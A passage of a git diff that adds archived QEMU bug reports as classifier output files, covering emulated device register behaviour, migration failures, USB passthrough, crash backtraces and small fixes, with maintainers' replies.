implementation, the KMIDATA does not reverse its value after interrupt is lowered. + +On 26 July 2015 at 19:16, T-T Yu <email address hidden> wrote: +> Public bug reported: +> +> static uint32_t pl050_read(void *opaque, target_phys_addr_t offset){ +> ... +> case 2: /* KMIDATA */ +> if (s->pending) +> s->last = ps2_read_data(s->dev); +> return s->last; +> } +> +> When the receive queue is empty (s->pending is false), is the KMIDATA +> register supposed to be reset to 0x00? In the current implementation, +> the KMIDATA does not reverse its value after interrupt is lowered. + +The documentation for the PL050: +http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0143c/i1014040.html + +just says that when KMIDATA is read you get the value in the +receive data register. The implication is that if you read +it multiple times you'll just continue to read the same +value it holds until the keyboard sends further data to be +clocked into the register. + +Are you saying that real hardware behaves differently? + +thanks +-- PMM + + +Yes. In our pl050 keyboard controller, the KMIDATA is reset once the receive queue is empty. + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1480562 b/results/classifier/deepseek-1/output/device/1480562 new file mode 100644 index 00000000..a80bfd7e --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1480562 @@ -0,0 +1,54 @@ + +register values in sp804 timer + +In the arm_timer.c, when first reading the load register, I got 0. + +... +case 0: /* TimerLoad */ +... + +According to the specification at http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0271d/index.html, +"The minimum valid value for TimerXLoad is 1". Is the initial value supposed to be 0xffffffff? + + +When the 5th and 7th bit in Control Register are set, RIS and MIS remain 0. But should they be enabled (i.e., 0x1 and 0x1) as both interrupt and timer module are set. + +Thanks. + +On 1 August 2015 at 15:46, T-T Yu <email address hidden> wrote: +> Public bug reported: +> +> In the arm_timer.c, when first reading the load register, I got 0. +> +> ... +> case 0: /* TimerLoad */ +> ... +> +> According to the specification at http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0271d/index.html, +> "The minimum valid value for TimerXLoad is 1". Is the initial value +> supposed to be 0xffffffff? + +No. See the "summary of registers" table 3.1 in section 3.1, +which lists this register's reset value as zero (and also +section 2.2.6 which agrees that on reset the load register +value is zero). + +The text you quote is attempting to describe the minimum +value which it is sensible to write to the register -- it +makes no sense for an OS to write 0 to this register because +it would always just interrupt immediately with no actual +timer function, so the shortest possible timeout is +obtained by writing a 1. + +> When the 5th and 7th bit in Control Register are set, RIS and MIS +> remain 0. But should they be enabled (i.e., 0x1 and 0x1) as both +> interrupt and timer module are set. + +RIS and MIS will only become 1 when the timer generates an +interrupt. They don't get set merely because the OS has +enabled interrupts. + +thanks +-- PMM + + diff --git a/results/classifier/deepseek-1/output/device/1536487 b/results/classifier/deepseek-1/output/device/1536487 new file mode 100644 index 00000000..661dde0f --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1536487 @@ -0,0 +1,87 @@ + +Unable to migrate pc-i440fx-2.4 KVM guest from QEMU 2.5.0 to QEMU 2.4.1 + +When migrating a pc-i440fc-2.4 KVM guest from QEMU 2.5.0 to QEMU 2.4.1, the target QEMU errors out: + + qemu-system-x86_64: error while loading state for instance 0x0 of device 'fw_cfg' + +This appears to be related to the addition of a DMA interface to fw_cfg last October: + + http://lists.nongnu.org/archive/html/qemu-devel/2015-10/msg04568.html + +"info qtree" on the source QEMU shows that the DMA interface for fw_cfg had been enabled: + + bus: main-system-bus + type System + ... + dev: fw_cfg_io, id "" + iobase = 1296 (0x510) + dma_iobase = 1300 (0x514) + dma_enabled = true + +Incidentally, this guest had just undergone a migration from QEMU 2.4.0 to QEMU 2.5.0, so it looks like DMA was enabled simply through the migration. + +It seems to me that the DMA interface for fw_cfg should only be enabled on pc-i440fx-2.5 machines or higher. + +Hi, +Proxmox users have reported same bug (qemu 2.5 with pc-i440fc-2.4 not migrating to qemu 2.4.1) + +https://forum.proxmox.com/threads/cant-live-migrate-after-dist-upgrade.26097/ + +I don't have verified yet, but it seem to be related. + + +http://thread.gmane.org/gmane.comp.emulators.qemu/390272/focus=391042 + +sent a patch: http://thread.gmane.org/gmane.comp.emulators.qemu/395014 + +Fix committed in e6915b5f3a874a467a9a65f7ec1d6ef8d251a51a. + +Note: Also affects Migration Xenial->Trusty (tested and ran into the same issue, that was how I found the bug) and very likely also Yakkety->Trusty. + + qemu | 2.0.0+dfsg-2ubuntu1.27 | trusty-security | source + qemu | 1:2.5+dfsg-5ubuntu10.4 | xenial-updates | source + +Subscribing server Team to look at this in the scope of the qemu packaging SRU work for Xenial. + +Migrating a VM from xenial -> trusty (or anything moving backward) is +not supported. + + +Hi Serge I agree to "created on xenial -> migrating to trusty" not being supported. +I already tended to even say "created on xenial with the Trusty machine type -> migrating to trusty" is not supported as well (at least it is failing for all combos I tried. + +But I wonder how far "anything moving backward" should go. + +Especially I found that the "created on Trusty, migrated to xenial (works), but later migrated back to trusty (fails)" seems affected by it as well. +I'd have thought that this would be supported. What is you opinion on this more specific case? + +You might ask on #virt for the opinion there, but I don't believe +migrating backward is supported in any case. t->x->t doesn't change +the fact that there is x->t. + + +> Especially I found that the "created on Trusty, migrated to xenial +> (works), but later migrated back to trusty (fails)" seems affected by +> it as well. + +The first migration of the t->x->t sequence does not really matter (if +anything it could introduce _more_ bugs!), so if x->t is not supported +then neither is t->x->t. + +The upstream QEMU project doesn't have the manpower to test and support +backwards migration. We try not to break it, and in this case there +was an easy fix and we suggest that Canonical backports it. However, +in general it's not guaranteed to work. + +The fix is commit e6915b5f3a874a467a9a65f7ec1d6ef8d251a51a. + +Serge, Paulo - thank you both! + +I already had the patch but I think it was good to discuss and list the expected behavior not only for me, but for whoever else that comes by this or a similar case. + +I backported this and tried my tests again, but this alone isn't sufficient to get the T->X->T working (which is effectively 2.0->2.5->2.0). +Wily (2.4) is already out of service, so setting this to won't fix. + +Thanks for your guidance, but that now properly known I'll set the Xenial task to won't fix for now. + diff --git a/results/classifier/deepseek-1/output/device/1579645 b/results/classifier/deepseek-1/output/device/1579645 new file mode 100644 index 00000000..2db2325a --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1579645 @@ -0,0 +1,19 @@ + + [XEN/KVM] pch audio doesn't work on both Windows and linux guest with soundhw="ac97" + +Environment: + +when try to boot a guest by qemu with parameter "-soundhw ac97", it showed like below: +"audio: Could no init “oss” audio driver.", +then login the guest and try run audio, no sound output. +Reproduce: +1. kvm: qemu-system-x86_64 -enable-kvm -m 2048 -smp 4 -net nic,model=rtl8139 -net tap,script=/etc/kvm/qemu-ifup -soundhw ac97 -hda [target.img] + xen: add the audio device in guest configure file by soundhw="ac97", xl create $guest-configure +2. it will show "audio: Could no init “oss” audio driver". +3. login in guest, it can detect audio device, but actually it is not working. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1586611 b/results/classifier/deepseek-1/output/device/1586611 new file mode 100644 index 00000000..c1596684 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1586611 @@ -0,0 +1,26 @@ + +usb-hub can not be detached when detach usb device from VM + +I give a host usb device to guest in the way of passthrough,use "virsh attach-device" cmd. In guest os,use "lsusb" cmd I can see two devices have been added,one is usb device and the other is usb-hub（0409:55aa NEC Corp. Hub）. +when I use "virsh detach-device" detach the usb device,in guest os the usb-hub was still exists. +It can create a bad impression when operating the VM,for example,suspend and resume the VM,qemu would report that: + +2016-05-24T12:03:54.434369Z qemu-kvm: Unknown savevm section or instance '0000:00:01.2/2/usb-hub' 0 + +2016-05-24T12:03:54.434742Z qemu-kvm: load of migration failed: Invalid argument + +From qemu's code,it can be sure that the usb-hub is generated by qemu,and the process of detaching usb-hub has already been executed,but failed.With adding print information,error as follows: +libusbx: error [do_close] Device handle closed while transfer was still being processed, but the device is still connected as far as we know +libusbx: warning [do_close] A cancellation for an in-flight transfer hasn't completed but closing the device handle + +I found that when I attached an usb device to the VM, the VM would add an usb-hub automatically if there was no usb-hub. +After adding an usb-hub,the VM assigned a port to the actual usb device. When detaching the usb device,the qemu only detach the port,without detaching the usb-hub.So when doing action like migrating or suspending/resumming,the VM will fail. + +Try detach the usb-hub device by the virsh detach-device usb-hub.xml? + +Of course using virtual usb controller is normal,The situation of the problems is to use the passthrough usb devices + +The usb-hub device should be deleted when the usb device was detached. When do you fix this bug? + +Use a newer libvirt version which manages usb addressing and assigns usb devices to usb ports. This is required to make sure the physical device tree is the same after vmsave/vmload or live migration. + diff --git a/results/classifier/deepseek-1/output/device/1597138 b/results/classifier/deepseek-1/output/device/1597138 new file mode 100644 index 00000000..6e16904c --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1597138 @@ -0,0 +1,41 @@ + +Deadlock on Windows 10 pop-up + +I was able to install and can log in but whenever a pop-up is attempted the VM appears to deadlock. +I can still kill -9 the process and recover but the VM and the QEmu console both hang with no error output. + +At first I thought it was UAC but renaming a file causes a pop-up and that also deadlocks. +I rebuilt QEmu 2.6.0 with debug info and did a thread back-trace once the deadlock occurs. +See the attachment for the trace. + +I am attempting to setup GPU pass-thru with a GTX 970 but this deadlock occurs with -vga std (and no GPU pass-thru) as well. + +(I cannot install or start Windows 7 but I am told this is a known bug.) + + + +Removing the soundhw hda device prevents the deadlock. + +Below was my QEmu start-up command-line: + +qemu-system-x86_64 \ +-enable-kvm \ +-m 8192 \ +-drive if=pflash,format=raw,readonly,file=./ovmf-x64/OVMF-pure-efi.fd \ +-drive if=pflash,format=raw,file=./OVMF-pure-efi-Win10.fd \ +-drive file=/dev/Stuff/Windows10,format=raw,if=virtio,cache=none \ +-drive file=virtio-win.iso,id=virtiocd,if=none,format=raw -device ide-cd,bus=ide.1,drive=virtiocd \ +-device vfio-pci,host=01:00.0,addr=09.0,multifunction=on,x-vga=on \ +-device vfio-pci,host=01:00.1,addr=09.1 \ +-usb -usbdevice host:003.006 \ +-cpu core2duo,+nx,kvm=off \ +-vga none \ +-soundhw hda + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has be + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1600563 b/results/classifier/deepseek-1/output/device/1600563 new file mode 100644 index 00000000..8028ce86 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1600563 @@ -0,0 +1,42 @@ + +min_io_size is currently limited to size uint16_t + +I am using LVM VGs on MD-raid1 for hosting my KVM volumes. On the host, a VG looks like this: + +Disk /dev/vm/vol202a: 60 GiB, 64424509440 bytes, 125829120 sectors +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 4096 bytes +I/O size (minimum/optimal): 131072 bytes / 131072 bytes + +In order to replicate the block device characteristics in the guest, I am using the following extra parameters: + +-set device.scsi0-0-0-0.logical_block_size=512 +-set device.scsi0-0-0-0.physical_block_size=4096 +-set device.scsi0-0-0-0.min_io_size=131072 + +This doesn't work as qemu complains that min_io_size needs to be of type uint16_t. + +The value is set to uint16_t by mistake. The value is passed to Qemu in bytes, but then it is divided by the sector size and passed to the vm in sectors through a 16 bit register field. The vm kernel then multiplies it again by sector size and shows (through /sys/block/x/queue) the value in bytes. Because of this, the input value from the qemu side should be uint32_t. + +A simple patch is attached, correcting the problem. I think some extra logic should be added after dividing by the page size, to prevent overflowing the 16 bit register. + +With that patch, I can pass a 4MB min and optimal io sizes successfully, to match the stripe size used by RBD/Ceph. Sadly though, I see no improvement coming out of it, but I'll document that in a separate bug report. + +root@cephvm:~# lsblk -t +NAME ALIGNMENT MIN-IO OPT-IO PHY-SEC LOG-SEC ROTA SCHED RQ-SIZE RA WSAME +sda 0 4194304 4194304 512 512 1 noop 128 4096 2G + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1656676 b/results/classifier/deepseek-1/output/device/1656676 new file mode 100644 index 00000000..331094a5 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1656676 @@ -0,0 +1,26 @@ + +nvram/fw_cfg.c ‘read’ may be used uninitialized + +Commit Number: b6af8ea60282df514f87d32e36afd1c9aeee28c8 + +The gcc version version 6.3.1 catches a new uninitialized variable in the master branch of QEMU on the Github. After looking through the function, it is really not properly assigned to a value in a certain path (the else condition of assigning read value in the code). +Here is the snippet of the condition assigning value: + if (dma.control & FW_CFG_DMA_CTL_READ) { + read = 1; + } else if (dma.control & FW_CFG_DMA_CTL_SKIP) { + read = 0; + } else { + dma.length = 0; + } + +Error (Warning) message is as following: +hw/nvram/fw_cfg.c: In function ‘fw_cfg_dma_transfer’: +hw/nvram/fw_cfg.c:372:16: error: ‘read’ may be used uninitialized in this function [-Werror=maybe-uninitialized] + +Solution: +You can fix this by either assign a proper initial value when defining it, or give a proper value in the else condition. +Sorry that I don't have a patch for this. I'm not sure whether to assign 1 or 0 in the else condition. + +This has been fixed here already: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=baf2d5bfbac#patch6 + diff --git a/results/classifier/deepseek-1/output/device/1681404 b/results/classifier/deepseek-1/output/device/1681404 new file mode 100644 index 00000000..a7dfdefb --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1681404 @@ -0,0 +1,27 @@ + +hw/ppc: Aborted (core dumped) + +Reproducable: +$ ./ppc64-softmmu/qemu-system-ppc64 -S -machine ppce500,accel=tcg -device spapr-pci-host-bridge + + +qemu/hw/ppc/spapr_pci.c:1567:spapr_phb_realize: Object 0x55bda99744a0 is not an instance of type spapr-machine +Aborted (core dumped) + +This is addressed by commit: + +"f7d6bfc spapr_pci: fail gracefully with non-pseries machine types" + + +$ ./v2.11.0-1421-g7d84845/bin/qemu-system-ppc64 -S -machine ppce500,accel=tcg -device spapr-pci-host-bridge +qemu-system-ppc64: -device spapr-pci-host-bridge: spapr-pci-host-bridge needs a pseries machine + +$ git tag --contains f7d6bfc +v2.11.0 + + +1- https://git.qemu.org/?p=qemu.git;a=commit;h=f7d6bfcdc0fe49040aac3ac131a319cb5427957e + +As noted in the previous comment, this bug was fixed in the 2.11 release. + + diff --git a/results/classifier/deepseek-1/output/device/1694808 b/results/classifier/deepseek-1/output/device/1694808 new file mode 100644 index 00000000..365bb178 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1694808 @@ -0,0 +1,44 @@ + +Passthrough USB Host Keyboard doesn't work on Q35 platform on boot-up + +Using qemu-kvm as shipped with Ubuntu 16.04, I cannot get a passed-through USB Host Keyboard to work at boot-up using the Q35 platform. + +My minimal example to verify this bug is the following: + + qemu-system-x86_64 -M q35 -m 128 -cdrom mini.iso -usb -usbdevice host:04ca:005a -vnc :1 -display none + +Using a noname USB Keyboard with ID 04ca:005a and the Ubuntu 16.04 NetBoot mini.iso, I can see the boot screen of the Ubuntu ISO through VNC, but pressing the arrow keys doesn't do anything. + +By taking out the "-M q35" parameter, QEMU switches to the traditional i440FX system. The passed-through USB Host Keyboard works there, but the old platform is no option for me. + +Have you tried whether it works with the latest upstream version of QEMU (currently version 2.9) - since you've marked this as upstream QEMU problem, too? + +Thanks Thomas, definitely worth to check. +@Colin - if you want a quick and easy short with qemu 2.8 you can try [1]. + +[1]: https://wiki.ubuntu.com/OpenStack/CloudArchive + +Same problem with qemu 2.8 from Ubuntu Cloud Archive. +Is that enough to consider the bug highly likely in latest upstream version too? I don't have a QEMU build system at hand right now.. + +Doesn't happen when adding another UHCI controller and explicitly connecting the keyboard to it, like: -device vt82c686b-usb-uhci,id=myusb -device usb-host,bus=myusb.0,hostbus=3,hostaddr=2 + +Is QEMU just incorrectly connecting my full-speed USB keyboard to USB 2.0 EHCI instead of USB 1.x UHCI? +Or is SeaBIOS lacking support for anything involving USB 2.0 controllers, even simple HID devices? + +Hi, + +Seeing this same thing! And I'm on Ubuntu 20.10, so pretty current :-). vt82c686b-usb-uhci doesn't seem to be accessible any more, but trying qemu-xhci => no joy, still have to reset the VM after each startup, to get the keyboard and mouse working. + +Is this expected? + +Thanks! + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/144 + + diff --git a/results/classifier/deepseek-1/output/device/1702621 b/results/classifier/deepseek-1/output/device/1702621 new file mode 100644 index 00000000..4bd9f368 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1702621 @@ -0,0 +1,56 @@ + +colo: secondary vm crash during loadvm + +Following document 'COLO-FT.txt', I test colo feature on my hosts. It seems goes well. But after a while the secondary vm crash. The stack is as follows: +#0 0x00007f191456dc37 in raise () from /lib/x86_64-linux-gnu/libc.so.6 +#1 0x00007f1914571028 in abort () from /lib/x86_64-linux-gnu/libc.so.6 +#2 0x00007f1914566bf6 in ?? () from /lib/x86_64-linux-gnu/libc.so.6 +#3 0x00007f1914566ca2 in __assert_fail () from /lib/x86_64-linux-gnu/libc.so.6 +#4 0x0000564154ad9147 in pcibus_reset (qbus=0x564156760d10) at ../hw/pci/pci.c:311 +#5 0x0000564154a07cdb in qbus_reset_one (bus=0x564156760d10, opaque=0x0) at hw/core/qdev.c:319 +#6 0x0000564154a0d721 in qbus_walk_children (bus=0x564156760d10, pre_devfn=0, pre_busfn=0, + post_devfn=0x564154a07c26 <qdev_reset_one>, post_busfn=0x564154a07c6c <qbus_reset_one>, opaque=0x0) + at hw/core/bus.c:68 +#7 0x0000564154a08b4d in qdev_walk_children (dev=0x56415675f2b0, pre_devfn=0, pre_busfn=0, + post_devfn=0x564154a07c26 <qdev_reset_one>, post_busfn=0x564154a07c6c <qbus_reset_one>, opaque=0x0) + at hw/core/qdev.c:617 +#8 0x0000564154a0d6e5 in qbus_walk_children (bus=0x564156594d30, pre_devfn=0, pre_busfn=0, + post_devfn=0x564154a07c26 <qdev_reset_one>, post_busfn=0x564154a07c6c <qbus_reset_one>, opaque=0x0) + at hw/core/bus.c:59 +#9 0x0000564154a07df5 in qbus_reset_all (bus=0x564156594d30) at hw/core/qdev.c:336 +#10 0x0000564154a07e3a in qbus_reset_all_fn (opaque=0x564156594d30) at hw/core/qdev.c:342 +#11 0x0000564154a0e222 in qemu_devices_reset () at hw/core/reset.c:69 +#12 0x00005641548b3b47 in pc_machine_reset () at /vms/git/qemu/hw/i386/pc.c:2234 +#13 0x0000564154972ca7 in qemu_system_reset (report=false) at vl.c:1697 +#14 0x0000564154b9d007 in colo_process_incoming_thread (opaque=0x5641553c1280) at migration/colo.c:617 +#15 0x00007f1914907184 in start_thread () from /lib/x86_64-linux-gnu/libpthread.so.0 +#16 0x00007f1914634bed in clone () from /lib/x86_64-linux-gnu/libc.so.6 + +(gdb) frame 4 +#4 0x0000564154ad9147 in pcibus_reset (qbus=0x564156760d10) at ../hw/pci/pci.c:311 +warning: Source file is more recent than executable. +311 assert(bus->irq_count[i] == 0); +(gdb) ^CQuit +(gdb) p bus->irq_count[i] +$1 = -1 + + + +The qemu version is 2.9.0 release. +The 'irq_count' and 'irq_state' are sent by private vm, and loaded by secondary vm. When they sent by private vm, they maybe not in a consistent state. So sometimes 'bus->irq_count[i]' becomes '-1' on secondary vm. +I deleted the assertions and then tested it several times, it worked well + + +I haven't tried COLO for a while; I've got a note I hit a similar error in the past - +I think I came to the conclusion it was the e1000 that was unhappy - probably sending an interrupt after it had stopped. +Try a different NIC. I flipped to using a virtio-net at one point (but I think I had to disable vhost, there are some patches for this recently). + + + +I agree with David, you can try the RTL8139. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1721222 b/results/classifier/deepseek-1/output/device/1721222 new file mode 100644 index 00000000..37ecaa95 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1721222 @@ -0,0 +1,20 @@ + +qemu crashes with Assertion `fdctrl->dma' failed + +Re-production steps: +git clone today's qemu git tree (4th Oct 2017) +./configure --target-list=ppc64-softmmu && make -j 8 + +Run the device-crash-test from scripts folder, seeing the following error + + +INFO: running test case: machine=powernv binary=ppc64-softmmu/qemu-system-ppc64 device=isa-fdc accel=tcg +WARNING: qemu received signal -6: ppc64-softmmu/qemu-system-ppc64 -chardev socket,id=mon,path=/var/tmp/qemu-30972-monitor.sock -mon chardev=mon,mode=control -display none -vga none -S -machine powernv,accel=tcg -device isa-fdc +CRITICAL: failed: machine=powernv binary=ppc64-softmmu/qemu-system-ppc64 device=isa-fdc accel=tcg +CRITICAL: cmdline: ppc64-softmmu/qemu-system-ppc64 -S -machine powernv,accel=tcg -device isa-fdc +CRITICAL: log: qemu-system-ppc64: hw/block/fdc.c:2703: isabus_fdc_realize: Assertion `fdctrl->dma' failed. +CRITICAL: exit code: -6 + +Fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=b3da551389c86ce214 + diff --git a/results/classifier/deepseek-1/output/device/1738202 b/results/classifier/deepseek-1/output/device/1738202 new file mode 100644 index 00000000..ee4a6762 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1738202 @@ -0,0 +1,51 @@ + +qemu 2.11 segfaults on elf file that worked with qemu2.7 + +running on cygwin in Windows 7 + +QEMU 2.10.93 segfaults: +$ /opt/qemu2.11/qemu-system-arm -M integratorcp -cpu cortex-m4 -semihosting -nographic -monitor null -serial null -no-reboot -kernel MFWso_Cycle_f1uP2_CUNIT_0.elf +Segmentation fault + +where QEMU 2.7.0 worked: +$ /opt/qemu2.7/qemu-system-arm -M integratorcp -cpu cortex-m4 -semihosting -nographic -monitor null -serial null -no-reboot -kernel MFWso_Cycle_f1uP2_CUNIT_0.elf +------------ CUnit_MFWso_Cycle_f1 ------------ + + + CUnit - A Unit testing framework for C - Version 2.1-0 + http://cunit.sourceforge.net/ + + +Suite: Suite_MFWso_Cycle_f1 + Test: MFWso_Cycle_f1() ... passed + Test: MFWso_GetPhysicalStateData() ... passed + Test: MFWso_GetOutputData() ... passed + Test: MFWso_GetSafeChannelOK() ... passed + +--Run Summary: Type Total Ran Passed Failed + suites 1 1 n/a 0 + tests 4 4 4 0 + asserts 54 54 54 0 + +---------------------------------------- + +Omitting the -cpu parameter results (for both versions) to hang of qemu (no output, no end, full cpu load). + + + +Your command line is badly broken: "-M integratorcp" requests a model of an integratorcp board, but "-cpu cortex-m4" tries to put an M-profile CPU in it, which is not something that board can support. In particular the resulting system model will have no NVIC in it. This only worked by accident in previous versions of QEMU. + +Ideally we should have better cpu-model compatibility checking in the board models, in which case we could print a message saying "CPU type cortex-m4 is not compatible with the integratorcp board" rather than crashing. + +If you omit -cpu you'll get the default CPU type for the board, which is an arm926. That's a sensible board+cpu combination but presumably your guest code is not built to run on that hardware, which will be why it just falls over. ("QEMU prints no output" often means "guest code has crashed or gone into an infinite loop", rather than a QEMU bug.) + +If your code needs to run on an M-profile CPU then you'll need to pick one of the M-profile board models. As of 2.11 those are lm3s6965evb, lm3s811evb, mps2-an385, mps2-an511, netduino2. + + +Thanks Peter for this information! + +I guess our code was tweaked to run with this options a long time ago - so I will have to do some investigations to get it working with a valid NVIC... + +As of writing I remember having a similar issue some time ago (which I now found to have resulted in Bug 1636126). +Sorry for not remembering this before! + diff --git a/results/classifier/deepseek-1/output/device/1760262 b/results/classifier/deepseek-1/output/device/1760262 new file mode 100644 index 00000000..acfd6798 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1760262 @@ -0,0 +1,60 @@ + +cmsdk-apb-uart doesn't appear to clear interrupt flags + +I have been writing a small operating system and using QEMU emulating the mps2-an385 board for some of my testing. + +During development of the uart driver I observed some odd behaviour with the TX interrupt -- writing a '1' to bit 0 of the INTCLEAR register doesn't clear the TX interrupt flag, and the interrupt fires continuously. + +It's possible that I have an error somewhere in my code, but after inspecting the QEMU source it does appear to be a QEMU bug. I applied the following patch and it solved my issue: + +From 9875839c144fa60a3772f16ae44d32685f9328aa Mon Sep 17 00:00:00 2001 +From: Patrick Oppenlander <email address hidden> +Date: Sat, 31 Mar 2018 15:10:28 +1100 +Subject: [PATCH] hw/char/cmsdk-apb-uart: fix clearing of interrupt flags + +--- + hw/char/cmsdk-apb-uart.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/hw/char/cmsdk-apb-uart.c b/hw/char/cmsdk-apb-uart.c +index 1ad1e14295..64991bd9d7 100644 +--- a/hw/char/cmsdk-apb-uart.c ++++ b/hw/char/cmsdk-apb-uart.c +@@ -274,6 +274,7 @@ static void uart_write(void *opaque, hwaddr offset, uint64_t value, + * is then reflected into the intstatus value by the update function). + */ + s->state &= ~(value & (R_INTSTATUS_TXO_MASK | R_INTSTATUS_RXO_MASK)); ++ s->intstatus &= ~(value & ~(R_INTSTATUS_TXO_MASK | R_INTSTATUS_RXO_MASK)); + cmsdk_apb_uart_update(s); + break; + case A_BAUDDIV: +-- +2.16.2 + + + +Found in v2.12.0-rc1. + +Thanks for the bug report; I've submitted this patch (which is similar to but not quite the same as your fix): +https://patchwork.ozlabs.org/patch/896715/ + +Hopefully this will get into 2.12, but we're quite close to release now so it will depend on whether we need to spin an extra release candidate for some other reason. + + +On Tue, Apr 10, 2018 at 11:45 PM, Peter Maydell +<email address hidden> wrote: +> +> Thanks for the bug report; I've submitted this patch (which is similar to but not quite the same as your fix): +> https://patchwork.ozlabs.org/patch/896715/ +> +> Hopefully this will get into 2.12, but we're quite close to release now +> so it will depend on whether we need to spin an extra release candidate +> for some other reason. + +Thanks for looking into it. + +Patrick + + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=6670b494fdb23f74ecd9b + diff --git a/results/classifier/deepseek-1/output/device/1772086 b/results/classifier/deepseek-1/output/device/1772086 new file mode 100644 index 00000000..ff879157 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1772086 @@ -0,0 +1,34 @@ + +malformed serial data being sent from guest + +When sending data through serial from guest each time 0x0A byte is sent 0x0D is sent before it. For example, when sending {0x29, 0x0A} on the other end I receive {0x29, 0x0D, 0x0A}. + +Something somewhere in the stack is converting LF to CRLF. This could be something inside your guest, or in QEMU, or in the host; to find out where we need more detail. + +Can you describe your setup, including: + * complete QEMU command line + * how you're sending data inside the guest + * how you're reading it on the host end +please? + + +I am unable to provide complete QEMU command line as I'm using virt-manager to deal with configuration. I can say that two serial ports are linked with physical ones through the /dev/ttyS* files. +The guests I tested it with are Windows 98 and Windows XP. For the testing I connected one port to another. I could confirm through a kernel level serial monitor that I was indeed sending just \n but on the second port I received \r\n. I also received \r\n when the port was read by the host. +Host is Ubuntu Xenial. + +After doing a bit of research I think line 142 in file chardev/char-serial.c is problematic. https://github.com/qemu/qemu/blob/master/chardev/char-serial.c#L142 + +It enables output processing, which is something unwanted here. With a simple test program I found out that by default, besides OPOST, ONLCR flag is set in c_oflag. I guess fix would be removing OPOST flag, which would disable any output processing, or setting c_oflag to 0 just to be sure. + +Seems like the problems isn't really new and might be at least 6 years old if not more. https://robert.penz.name/550/mapping-a-serial-device-to-a-kvm-guest-may-lead-to-communication-problems/ + +It's even older than 6 years, see: +https://lists.nongnu.org/archive/html/qemu-devel/2006-06/msg00196.html +and: +https://bugs.launchpad.net/qemu/+bug/1407813 +https://bugs.launchpad.net/qemu/+bug/1715296 + + +Patch has now been committed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=12fb0ac0575df83cec72ec + diff --git a/results/classifier/deepseek-1/output/device/1781463 b/results/classifier/deepseek-1/output/device/1781463 new file mode 100644 index 00000000..a38b41d6 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1781463 @@ -0,0 +1,105 @@ + +qemu don't start *.abs firmware files + +Hello Devs, + +I'm here to report this bug/issue because i'm using Win64 Qemu but i can't start a *.abs firmware at normally this firmware is based in Linux Kernel and this type of firmware is made for STB Receivers, + +So this is all information i provide to get support. + +Files extracted by ( binwalk -e ) + + +Terminal output: + +# binwalk -e AMIKO_HD8150_2.4.43_emu.abs + +DECIMAL HEXADECIMAL DESCRIPTION + +-------------------------------------------------------------------------------- +196736 0x30080 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 11883876 bytes +3866752 0x3B0080 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3255512 bytes +5636224 0x560080 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 87904 bytes + + +Files extracted with ALI TOOLS or Ali FirmwareDecriptor. + +Windows files output: + +Software used: Ali Main Code Decrypter 8.9 + +Files unpacked: + +bootloader +MemCfg +maincode(AV) +seecode +default_lang +cipluskey +countryband +logo_user +logo_menu +logo_radio +logo_boot +patch +defaultdb(PRC) +userdb(64+64) + + +Terminal OUTPUT: + +# hexdump -C + +part of file + + +00b51a30 00 00 00 00 4c 69 62 63 6f 72 65 20 76 65 72 73 |....Libcore vers| +00b51a40 